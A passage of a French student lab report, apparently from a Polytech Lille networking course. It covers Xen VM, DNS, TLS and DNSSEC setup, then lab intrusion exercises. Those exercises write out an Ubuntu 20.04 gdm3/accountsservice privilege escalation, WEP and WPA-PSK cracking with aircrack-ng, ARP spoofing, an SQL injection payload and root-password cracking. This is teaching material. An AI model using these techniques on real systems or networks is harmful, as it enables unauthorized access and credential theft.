Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==4.4 Sécurisation de serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
on signe ensuite les enregistrement de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
